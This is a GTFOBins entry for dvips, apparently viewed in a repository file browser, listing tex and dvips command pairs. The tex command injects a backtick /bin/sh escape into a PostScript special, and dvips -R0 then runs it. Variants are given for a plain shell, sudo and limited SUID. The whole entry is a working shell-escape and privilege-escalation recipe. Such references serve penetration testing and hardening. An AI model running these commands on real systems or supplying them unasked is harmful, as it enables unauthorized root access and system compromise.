GTFOBins.github.io/_gtfobins/dvips.md

17 lines
452 B
Markdown
Raw Normal View History

---
description: The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.
2021-04-22 22:12:52 +02:00
functions:
shell:
- code: |
tex '\special{psfile="`/bin/sh 1>&0"}\end'
dvips -R0 texput.dvi
2021-04-22 22:12:52 +02:00
sudo:
- code: |
tex '\special{psfile="`/bin/sh 1>&0"}\end'
sudo dvips -R0 texput.dvi
limited-suid:
- code: |
tex '\special{psfile="`/bin/sh 1>&0"}\end'
./dvips -R0 texput.dvi
---